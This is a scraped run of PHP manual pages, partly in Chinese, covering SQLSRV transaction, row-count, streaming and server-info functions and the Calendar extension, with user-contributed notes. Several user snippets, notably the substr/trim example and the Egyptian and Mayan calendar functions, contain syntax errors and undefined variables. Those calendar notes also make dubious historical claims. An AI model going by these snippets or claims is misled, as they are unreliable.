Running the same query in tsql or management studio works as expected. However, with sqlsrv_* functions, this gives you two result sets -- one for the "use" and one for the "select".

    <?php
    // Advance the result pointer from "use" to "select"
    sqlsrv_next_result($stmt);

    // Now you can read the "1"
    print_r(sqlsrv_fetch_array($stmt));
    ?>

For a complex query that begins by creating/populating temporary tables, you will need to advance the result pointer past such statements to get data from the final select statement. In older PHP versions (using FreeTDS-based mssql connectivity at least), you'd get only the last result so didn't need to take this into account.
vavra at 602 dot cz 17-Jan-2018 08:47
Attention!
 If the sql contains INSERT, UPDATE or DELETE statements, the number of affected rows must be consumed. The sqlsrv_query returns a sql cursor that must be read to finish the transaction, if the result is non false. This same is valid for sqlsrv_execute. In this case the cursor must be also read using the prepared statement handle $smt.

Another solution is to place SET NOCOUNT ON at the top of the sqlsrv statement and all called procedures, functions and triggers.

We've practically observed it with sql statement with 500 inserts but only 368 was inserted without false returned. Prefixing by SET NOCOUNT ON or reading a cursor all rows were inserted.

See Processing Results (ODBC): https://docs.microsoft.com/en-us/sql/relational-databases/native-client-odbc-results/processing-results-odbc Each INSERT, UPDATE, and DELETE statement returns a result set containing only the number of rows affected by the modification. This count is made available when application calls SQLRowCount. ODBC 3.x applications must either call SQLRowCount to retrieve the result set or SQLMoreResults to cancel it. When an application executes a batch or stored procedure containing multiple INSERT, UPDATE, or DELETE statements, the result set from each modification statement must be processed using SQLRowCount or cancelled using SQLMoreResults. These counts can be cancelled by including a SET NOCOUNT ON statement in the batch or stored procedure.
bill_spam0001 at yahoo dot com 27-May-2013 11:32
If you are getting an error while attempting to execute your query, and the output of sqlsrv_errors(SQLSRV_ERR_ERRORS) is this:

SQLSTATE: IMSSP
code: -14
message: An invalid parameter was passed to sqlsrv_query.

You have failed to pass a valid parameter to sqlsrv_query itself, which could be one of three parameters:
Connection: a valid handled for a SQL Server Connection
Query: a valid string containing your query, with placeholders for parameters:"(?)"
Parameters: An Array containing the values for your query parameters.  (optional, but much match the number of placeholders in your Query.

I could not find any information about this error, and it turned out to be a missing connection parameter. In my case I found I had typed "$connn" instead of "$conn" in the code:
if ($stmt=sqlsrv_query($conn, $sql, $params)) { ...

While this seems like a total "noobie" thing to do, the fact of the matter is there is very little information about this SQL Server Error message itself. So, the plain meaning of SQLSTATE "IMSSP", CODE "-14" is that you provided no valid connection object to your sqlsrv_query function.

This message may appear baffling, especially if you have several occurrences of sqlsrv_query on a page, and you may have added a new occurrence after you closed your connection.

Since I wasted an enormous amount of time tracing the normal channels, I thought referencing this error here would provide some help. In was hung up on "parameter" and was thinking it was a bad parameter object, and overlooked passing an undefined connection object to sqlsrv_query
oleg at mastak dot fi 12-Nov-2012 07:31
If you hit an error "[Microsoft][ODBC Driver Manager] Invalid cursor state " when you specify valid Scrollable cursor, please check following bug report:

https://bugs.php.net/bug.php?id=63498

There is currently a bug that requires options Scrollable to be specified before QueryTimeout in corresponding array.
bill_spam0001 at yahoo dot com 27-Feb-2012 08:42
Tip: It may seem obvious, but you need to trim your strings down to fit in the database field you are saving them to via a parametrized query or a stored procedure. (IE: only submit up to 20 characters to a VARCHAR(20) database field). If you send a larger string to the query then it can handle, you will get an error.

When cleaning up your strings, you will most likely find yourself using the php substr() function. This function will return, as documented, a boolean FALSE value when presented with an empty string. Not minding this boolean FALSE value will cause "0" to be saved in your database tables instead of an empty string.

Since trimming your input is also important, the simple and intuitive solution for this is to trim your substr() output, which will consistently supply and empty string, not boolean FALSE.

So this will always work:
<?php
//trim last returns our empty string as a data type of string
$address_line_2 = trim(substr($_POST['addr2']),0,30));

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>
This second way will give seemingly unexpected data in your database.
<?php
//if the result of trimming our post variable is "" (empty), substr() will return FALSE
$address_line_2 = substr(trim($_POST['addr2'])),0,30);

//$address_line_2 actually === FALSE, not ""
echo gettype($address_line_2);  //outputs boolean

//executing a database query will save "0" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

You can also cast the type as a string using,
which will cast the boolean false back to the expected Empty String.
<?php

$address_line_2 = (string)substr(trim($_POST['addr2'])),0,30);

echo gettype($address_line_2);  //outputs string

//executing a database query will save "" in field tblAddressBook.addr2
$sql = "update tblAddressBook set name=(?), addr1=(?), addr2=(?),..."
$params = array($name, $address_line_1, $address_line_2, ...)
$sql_srv_query($db_conn, $sql, $params);

?>

I didn't notice this behavior until switching to IIS7, PHP 5.3.8 and SQL Server 2008.  But the behavior also is exhibited with IIS7, PHP 5.2 and SQL Server 2008.


Rolls back a transaction that was begun with sqlsrv_begin_transaction

  • ? sqlsrv_query
  • sqlsrv_rows_affected ?
  • PHP Manual
  • SQLSRV 函数
  • Rolls back a transaction that was begun with sqlsrv_begin_transaction

sqlsrv_rollback

(No version information available, might only be in Git)

sqlsrv_rollback — Rolls back a transaction that was begun with sqlsrv_begin_transaction()

说明

sqlsrv_rollback(resource $conn): bool

Rolls back a transaction that was begun with sqlsrv_begin_transaction() and returns the connection to auto-commit mode.

参数

conn

The connection resource returned by a call to sqlsrv_connect().

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 sqlsrv_rollback() example

The following example demonstrates how to use sqlsrv_begin_transaction() together with sqlsrv_commit() and sqlsrv_rollback().

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"userName", "PWD"=>"password");
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Begin the transaction. */
if ( sqlsrv_begin_transaction( $conn ) === false ) {
die( print_r( sqlsrv_errors(), true ));
}

/* Initialize parameter values. */
$orderId = 1; $qty = 10; $productId = 100;

/* Set up and execute the first query. */
$sql1 = "INSERT INTO OrdersTable (ID, Quantity, ProductID)
VALUES (?, ?, ?)";
$params1 = array( $orderId, $qty, $productId );
$stmt1 = sqlsrv_query( $conn, $sql1, $params1 );

/* Set up and execute the second query. */
$sql2 = "UPDATE InventoryTable
SET Quantity = (Quantity - ?)
WHERE ProductID = ?";
$params2 = array($qty, $productId);
$stmt2 = sqlsrv_query( $conn, $sql2, $params2 );

/* If both queries were successful, commit the transaction. */
/* Otherwise, rollback the transaction. */
if( $stmt1 && $stmt2 ) {
sqlsrv_commit( $conn );
echo "Transaction committed.<br />";
} else {
sqlsrv_rollback( $conn );
echo "Transaction rolled back.<br />";
}
?>

参见

  • sqlsrv_begin_transaction() - Begins a database transaction
  • sqlsrv_commit() - Commits a transaction that was begun with sqlsrv_begin_transaction

User Contributed Notes

There are no user contributed notes for this page.


Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

  • ? sqlsrv_rollback
  • sqlsrv_send_stream_data ?
  • PHP Manual
  • SQLSRV 函数
  • Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

sqlsrv_rows_affected

(No version information available, might only be in Git)

sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

说明

sqlsrv_rows_affected(resource $stmt): int|false

Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed. For information about the number of rows returned by a SELECT query, see sqlsrv_num_rows().

参数

stmt

The executed statement resource for which the number of affected rows is returned.

返回值

Returns the number of rows affected by the last INSERT, UPDATE, or DELETE query. If no rows were affected, 0 is returned. If the number of affected rows cannot be determined, -1 is returned. If an error occurred, false is returned.

示例

Example #1 sqlsrv_rows_affected() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ? WHERE id = ?";

$params = array("updated data", 1);

$stmt = sqlsrv_query( $conn, $sql, $params);

$rows_affected = sqlsrv_rows_affected( $stmt);
if( $rows_affected === false) {
die( print_r( sqlsrv_errors(), true));
} elseif( $rows_affected == -1) {
echo "No information available.<br />";
} else {
echo $rows_affected." rows were updated.<br />";
}
?>

参见

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set

User Contributed Notes

There are no user contributed notes for this page.


Sends data from parameter streams to the server

  • ? sqlsrv_rows_affected
  • sqlsrv_server_info ?
  • PHP Manual
  • SQLSRV 函数
  • Sends data from parameter streams to the server

sqlsrv_send_stream_data

(No version information available, might only be in Git)

sqlsrv_send_stream_data — Sends data from parameter streams to the server

说明

sqlsrv_send_stream_data(resource $stmt): bool

Send data from parameter streams to the server. Up to 8 KB of data is sent with each call.

参数

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

返回值

Returns true if there is more data to send and false if there is not.

示例

Example #1 sqlsrv_send_stream_data() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ( ?) WHERE id = 100";

// Open parameter data as a stream and put it in the $params array.
$data = fopen( "data://text/plain,[ Lengthy content here. ]", "r");
$params = array( &$data);

// Prepare the statement. Use the $options array to turn off the
// default behavior, which is to send all stream data at the time of query
// execution.
$options = array("SendStreamParamsAtExec"=>0);
$stmt = sqlsrv_prepare( $conn, $sql, $params, $options);

sqlsrv_execute( $stmt);

// Send up to 8K of parameter data to the server
// with each call to sqlsrv_send_stream_data.
$i = 1;
while( sqlsrv_send_stream_data( $stmt)) {
$i++;
}
echo "$i calls were made.";
?>

参见

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the server

  • ? sqlsrv_send_stream_data
  • 日期与时间相关扩展 ?
  • PHP Manual
  • SQLSRV 函数
  • Returns information about the server

sqlsrv_server_info

(No version information available, might only be in Git)

sqlsrv_server_info — Returns information about the server

说明

sqlsrv_server_info(resource $conn): array

Returns information about the server.

参数

conn

The connection resource that connects the client and the server.

返回值

Returns an array as described in the following table:

Returned Array
CurrentDatabase | The connected-to database.
SQLServerVersion | The SQL Server version.
SQLServerName | The name of the server.

示例

Example #1 sqlsrv_server_info() example

<?php
$serverName = "serverName\sqlexpress";
$conn = sqlsrv_connect( $serverName);
if( $conn === false ) {
die( print_r( sqlsrv_errors(), true));
}

$server_info = sqlsrv_server_info( $conn);
if( $server_info )
{
foreach( $server_info as $key => $value) {
echo $key.": ".$value."<br />";
}
} else {
die( print_r( sqlsrv_errors(), true));
}
?>

参见

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.


日期与时间相关扩展

  • Calendar
    • 简介
    • 安装/配置
    • 预定义常量
    • Calendar 函数
  • 日期/时间 — 日期和时间
    • 简介
    • 安装/配置
    • 预定义常量
    • 示例
    • DateTime — DateTime 类
    • DateTimeImmutable — The DateTimeImmutable class
    • DateTimeInterface — The DateTimeInterface interface
    • DateTimeZone — DateTimeZone 类
    • DateInterval — DateInterval 类
    • DatePeriod — DatePeriod 类
    • Date/Time 函数
    • 日期/时间 Error 和 Exception
    • Supported Date and Time Formats
    • 所支持的时区列表
    • DateError — The DateError class
    • DateObjectError — The DateObjectError class
    • DateRangeError — The DateRangeError class
    • DateException — The DateException class
    • DateInvalidOperationException — The DateInvalidOperationException class
    • DateInvalidTimeZoneException — The DateInvalidTimeZoneException class
    • DateMalformedIntervalStringException — The DateMalformedIntervalStringException class
    • DateMalformedPeriodStringException — The DateMalformedPeriodStringException class
    • DateMalformedStringException — The DateMalformedStringException class
  • HRTime — High resolution timing
    • 简介
    • 安装/配置
    • 示例
    • HRTime\PerformanceCounter — The HRTime\PerformanceCounter class
    • HRTime\StopWatch — The HRTime\StopWatch class
    • HRTime\Unit — The HRTime\Unit class

User Contributed Notes

There are no user contributed notes for this page.


Calendar

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Calendar 函数
    • cal_days_in_month — 返回指定历法中某年某月的天数
    • cal_from_jd — 从儒略日数转换为支持的历法
    • cal_info — 返回选定历法的信息
    • cal_to_jd — 从支持的历法转换为儒略日数
    • easter_date — 得到指定年份的复活节午夜时的 Unix 时间戳
    • easter_days — 得到指定年份的 3 月 21 日到复活节之间的天数
    • frenchtojd — 从法国共和历日期转换为儒略日数
    • gregoriantojd — 将公历日期转为儒略日数
    • jddayofweek — 返回星期几
    • jdmonthname — 返回月份名称
    • jdtofrench — 从儒略日数转换为法国共和历
    • jdtogregorian — 将儒略日数转换为公历日期
    • jdtojewish — 将儒略日数转换为犹太历日期
    • jdtojulian — 将儒略日数转换为儒略历日期
    • jdtounix — 将儒略日数转换为 Unix 时间戳
    • jewishtojd — 将犹太历日期转换为儒略日数
    • juliantojd — 儒略日期转为儒略日数
    • unixtojd — 将 Unix 时间戳转换为儒略日数

User Contributed Notes

There are no user contributed notes for this page.


简介

Calendar 扩展提供了一系列用于简化不同历法间格式转换的函数，它是以儒略日数为中介或标准来进行的。儒略日数是以公元前 4713 年 1 月 1 日为起点的计数法。为了在不同历法系统间进行转换，需要先转换成儒略日数，然后再转换为所需的历法系统。儒略日数和儒略历是非常不同的！儒略日数的更多信息可以参考 » http://www.hermetic.ch/cal_stud/jdn.htm，历法系统的更多信息可以参考 » http://www.fourmilab.ch/documents/calendar/。本页中的引用包括在相应的文章中并用引号引起来。

User Contributed Notes

There are no user contributed notes for this page.


安装

要使用本类函数，需要在编译 PHP 时加上 --enable-calendar。

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

CAL_EASTER_DEFAULT (int)
easter_days()：根据儒略历计算 1753 年之前的复活节，并根据公历计算之后的复活节。
CAL_EASTER_ROMAN (int)
easter_days()：根据儒略历计算 1583 年之前的复活节，并根据公历计算之后的复活节。
CAL_EASTER_ALWAYS_GREGORIAN (int)
easter_days()：根据公历计算复活节。
CAL_EASTER_ALWAYS_JULIAN (int)
easter_days()：根据儒略历计算复活节。
CAL_GREGORIAN (int)
cal_days_in_month()、cal_from_jd()、cal_info() 和 cal_to_jd()：使用前公历。
CAL_JULIAN (int)
cal_days_in_month()、cal_from_jd()、cal_info() 和 cal_to_jd()：使用儒略历。
CAL_JEWISH (int)
cal_days_in_month()、cal_from_jd()、cal_info() 和 cal_to_jd()：使用犹太历。
CAL_FRENCH (int)
cal_days_in_month()、cal_from_jd()、cal_info() 和 cal_to_jd()：使用法国共和历。
CAL_NUM_CALS (int)
可用历法的数量。
CAL_JEWISH_ADD_ALAFIM_GERESH (int)
jdtojewish()：在年份中添加 geresh 符号（类似单引号）作为千位分隔符。
CAL_JEWISH_ADD_ALAFIM (int)
jdtojewish()：在年份中添加单词 alafim 作为千位分隔符。
CAL_JEWISH_ADD_GERESHAYIM (int)
For jdtojewish(): add a gershayim symbol (which resembles a double-quote mark) before the final letter of the day and year numbers.
CAL_DOW_DAYNO (int)
jddayofweek()：用 int 表示星期几，0 表示星期日，6 表示星期六。
CAL_DOW_SHORT (int)
jddayofweek()：星期几的英文名称缩写。
CAL_DOW_LONG (int)
jddayofweek()：星期几的英文名称。
CAL_MONTH_GREGORIAN_SHORT (int)
jdmonthname()：公历月份名称缩写。
CAL_MONTH_GREGORIAN_LONG (int)
jdmonthname()：公历月份名称。
CAL_MONTH_JULIAN_SHORT (int)
jdmonthname()：儒略历月份名称缩写。
CAL_MONTH_JULIAN_LONG (int)
jdmonthname()：儒略历月份名称。
CAL_MONTH_JEWISH (int)
jdmonthname()：犹太历月份名称。
CAL_MONTH_FRENCH (int)
jdmonthname()：法国共和历月份名称。

User Contributed Notes

There are no user contributed notes for this page.


Calendar 函数

Table of Contents

  • cal_days_in_month — 返回指定历法中某年某月的天数
  • cal_from_jd — 从儒略日数转换为支持的历法
  • cal_info — 返回选定历法的信息
  • cal_to_jd — 从支持的历法转换为儒略日数
  • easter_date — 得到指定年份的复活节午夜时的 Unix 时间戳
  • easter_days — 得到指定年份的 3 月 21 日到复活节之间的天数
  • frenchtojd — 从法国共和历日期转换为儒略日数
  • gregoriantojd — 将公历日期转为儒略日数
  • jddayofweek — 返回星期几
  • jdmonthname — 返回月份名称
  • jdtofrench — 从儒略日数转换为法国共和历
  • jdtogregorian — 将儒略日数转换为公历日期
  • jdtojewish — 将儒略日数转换为犹太历日期
  • jdtojulian — 将儒略日数转换为儒略历日期
  • jdtounix — 将儒略日数转换为 Unix 时间戳
  • jewishtojd — 将犹太历日期转换为儒略日数
  • juliantojd — 儒略日期转为儒略日数
  • unixtojd — 将 Unix 时间戳转换为儒略日数

User Contributed Notes

Anonymous 17-Sep-2021 07:16
<?php

class HijriCalendar
{
    public static function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "Moharram", "Safar", "Rabii-I", "Rabii-II",
            "Jumada-I", "Jumada-II", "Rajab", "Chaaban",
            "Ramadan", "Chawal", "Dhu-al-Qiida", "Dhu-al-Hijja"
        );
        return $month[$i-1];
    }

    public static function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    public static function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    public static function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    public static function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

$hijri = HijriCalendar::GregorianToHijri( time() );
echo $hijri[1].'. '.HijriCalendar::monthName($hijri[0]).' '.$hijri[2];

?>
obaida dot habboush at gmail dot com 25-Sep-2017 11:39
Hello ,

there is a mistake with function name

at class HijriCalendar {
.
.
.
.
.
.
function HijriToGregorian($m, $d, $y)
    {
        ////  jd_to_cal -> It Should Be -> cal_to_jd
        return jd_to_cal(CAL_GREGORIAN, HijriCalendar::HijriToJD($m, $d, $y));
    }
}
simon at chronolabs dot org dot au 20-Nov-2007 12:20
<?php

// You need to replace this section in Function EgyptianCalendar
// As well as Function MayanTihkalCalendar
$revolutionsperyear = $ttl_num / $i;
$numyears = floor((ceil($roun) / $revolutionsperyear));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));
while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($roun<0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-($tt-1);
                        $month = $avg_num_month-($t-1);
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}
?>

This section of code need to be changed in the calculation I noticed today in our RounCalendar we had a zero day this function will calculate the month and day correctly for the calendars, it is a pretty universe piece of code, I am sorry it wasn't properly tested and need some refactoring.
simon at chronolabs dot org dot au 09-Nov-2007 11:44
This is the egyptian calendar which was the first 365 day calendar on the planet it has no leap year which makes it a little inaccurate but you can work on your own implementation of this code when you like, this is another implementation of the roun floating point code which is a universal code for generating date codec's you can make practically all calendars with this code the $pweight is based on my research on carbon date stamping etc of when egypt epoch or PPO was made, some people argue a few thousand years while other can date egypts epoch being around 30000 years ago!! This is on the basis of tidal marking on statues and momuments when the are was covered in water after construction from sea level rising.

<?php

print_r(EgyptCalendar(time(),0));

function EgyptianCalendar($unix_time, $gmt,
                 $poffset = '1970-02-26 7:45 PM',
                 $pweight = '-9777600.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 - Calculate Floating Point
$tme = $unix_time;

if ($gmt>0){$gmt=-$gmt;} else {$gmt=abs($gmt);}

$ptime = strtotime($poffset)+(60*60*gmt);
$weight = $pweight+(1*gmt);

$egypt_xa = ($tme)/(24*60*60);
$egypt_ya = $ptime/(24*60*60);
$egypt = (($egypt_xa -$egypt_ya) -
         $weight)+(microtime/999999);

// Code Segment 2 - Set month day arrays
$nonedeficient = array(
   "seq1" => array(30,30,30,30,30,30,30,30,30,30,30,30,5));

$monthnames = array(
   "seq1" => array('Thoth','Phaophi','Athyr','Choiak',
   'Tybi', 'Mecheir','Phamenoth','Pharmuthi','Pachon',
   'Payni','Epiphi','Mesore','epagomenai'));

$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 - Calculate month number, day number
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = egyptd((floor($egypt) / $revolutionsperyear),0);
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($egypt) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($egypt>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

//$numyears = abs($numyears);

$timer = substr($egypt, strpos($egypt,'.')+1,
    strlen($egypt)-strpos($egypt,'.')-1);
$egypt_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
    floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
    floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
    floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
    substr($timer,6,strlen($timer)-6);
$egypt_obj = array('year'=>$numyears,
    'month'=>$month,
    'mname' => $monthnames[$sequence][$month-1],
    'day'=>$daynum,
    'jtl'=>$jtl,
    'day_count'=>$day,
    'hours'=>floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
    'minute'=>floor(intval(substr($timer,2,2))/100
              *$timeset['minutes']),
    'seconds'=>floor(intval(substr($timer,4,2))/100
               *$timeset['seconds']),
    'microtime'=>substr($timer,6,strlen($timer)-6),
                 'strout'=>$egypt_out);

return $egypt_obj;
}

?>

btw in my previous post of the Mayan Tikal calendar the top part of the function was chopped off in my code cut and paste that is the line for the function which looks like, the top 3 line will need to be replace with:

<?php

print_r(MayanTikalCalendar(time(),0));

function MayanTikalCalendar($unix_time, $gmt,

?>
simon at chronolabs dot org dot au 08-Nov-2007 05:27
Well this is the second part, well more the second calendar of Maya the Tikal there is two of them one for long count, one for general date seeding, this is using an implementation of floating point time (roun).

<?php

$maya = MayanTikalCalendar(time(),0);

print_r($maya);

                 $poffset = '2012-12-21 8:24 PM',
                 $pweight = '-1872000.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 - Calculate Floating Point
$tme = $unix_time;
if ($gmt>0){ $gmt=-$gmt; } else { $gmt=abs($gmt); }

$ptime = strtotime($poffset)+(60*60*gmt);
$maya_xa = ($tme)/(24*60*60);
$maya_ya = $ptime/(24*60*60);
$maya = (($maya_xa -$maya_ya) - $pweight)+(microtime/999999);

// Code Segment 2 - Set month day arrays
$nonedeficient = array(
"seq1" => array(20,20,20,20,20,20,20,20,20,
                20,20,20,20,20,20,20,20,20,5));

$monthnames = array("seq1" => array(
 'Pop', 'Uo', 'Zip', 'Zot\'z', 'Tzec', 'Xul',
 'Yaxkin', 'Mol', 'Ch\'en', 'Yax', 'Zac', 'Ceh',
 'Mac', 'Kankin', 'Muan', 'Pax', 'Kayab',
 'Cumku', 'Uayeb'));
$daynames = array("seq1" => array(
 'Imix', 'Ik', 'Akbal', 'Kan', 'Chicchan',
 'Cimi','Manik', 'Lamat', 'Muluc', 'Oc',
 'Chuen', 'Eb', 'Ben', 'Ix', 'Men',
 'Cib', 'Caban', 'Etz\'nab', 'Cauac', 'Ahau'));
$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 - Calculate month number, day numbers etc
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = (round((floor($maya) / $revolutionsperyear),0));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($maya) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($maya>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

$timer = substr($maya, strpos($maya,'.')+1,
         strlen($maya)-strpos($maya,'.')-1);
$maya_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
  floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
  floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
  floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
  substr($timer,6,strlen($timer)-6);

$maya_obj = array(
  'longcount'=>MayanLongCount($tme),'year'=>abs($numyears),
  'month'=>$month, 'mname' => $monthnames[$sequence][$month-1],
  'day'=>$daynum, 'dayname'=>$daynames[$sequence][$daynum-1],
  'day'=>$daynum, 'jtl'=>$jtl, 'day_count'=>$day,
  'hours'=>     floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
  'minute'=> floor(intval(substr($timer,2,2))/100
             *$timeset['minutes']),
  'seconds'=>floor(intval(substr($timer,4,2))/100
             *$timeset['seconds']),
  'microtime'=>substr($timer,6,strlen($timer)-6),
  'strout'=>$maya_out);

return $maya_obj;
}

?>
simon at chronolabs dot org dot au 07-Nov-2007 10:00
This will return the mayan long count calendar which cycle reaches 13.0.0.0.0 in 2012, I have had to compress the changemaya function for this code library so if you want to space it out your more than welcome. It works with unix time. To call the routine use the following syntax. The mayan calendar is a day count that is around 5000 years old, it tracks our cestial position in the galaxy

<?php

echo MayanLongCount(time());

function MayanLongCount($tme){

    $config = array('ppo' => array(13,0,0,0,0),
                    'epoch' => strtotime('2012-12-21'));

    $diff=(($tme-$config['epoch'])/(60*60*24));
    $ppo = changemaya($config['ppo'],ceil($diff));

    return $ppo[0].'.'.$ppo[1].'.'.$ppo[2].'.'.$ppo[3].'.'.$ppo[4];
}

function changemaya($ppo,$diff){
if ($diff>0) { $amount=1; } else { $amount=-1; }
for ($sh=1;$sh<abs($diff);$sh++){ if ($ppo[4]+$amount>20){
if ($ppo[3]+$amount>20){ if ($ppo[2]+$amount>20){
if ($ppo[1]+$amount>20){ if ($ppo[0]+$amount>20){
$ppo[0]=0; $ppo[1]=0; $ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=0; $ppo[0]=$ppo[0]+$amount;}
} else { $ppo[2]=0; $ppo[1]=$ppo[1]+$amount;    }
} else {$ppo[3]=0; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=0; $ppo[3]=$ppo[3]+$amount; }
} elseif ($ppo[4]+$amount<0){ if ($ppo[3]+$amount<0){
if ($ppo[2]+$amount<0){    if ($ppo[1]+$amount<0){
if ($ppo[0]+$amount<0){    $ppo[0]=20;    $ppo[1]=0;
$ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=20; $ppo[0]=$ppo[0]+$amount; }
} else { $ppo[2]=20; $ppo[1]=$ppo[1]+$amount; }
} else { $ppo[3]=20; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=20; $ppo[3]=$ppo[3]+$amount; }
} else { $ppo[4]=$ppo[4]+$amount;}}
    return $ppo;
}

?>

Thanks!!
david dot scourfield at llynfi dot co dot uk 17-Aug-2007 03:13
I created this function a while ago and needed it again recently, so had to trawl through some old files to find it. Thought I'd post it here in case anyone else finds it useful.

<?php

/*
 *    Function to calculate which days are British bank holidays (England & Wales) for a given year.
 *
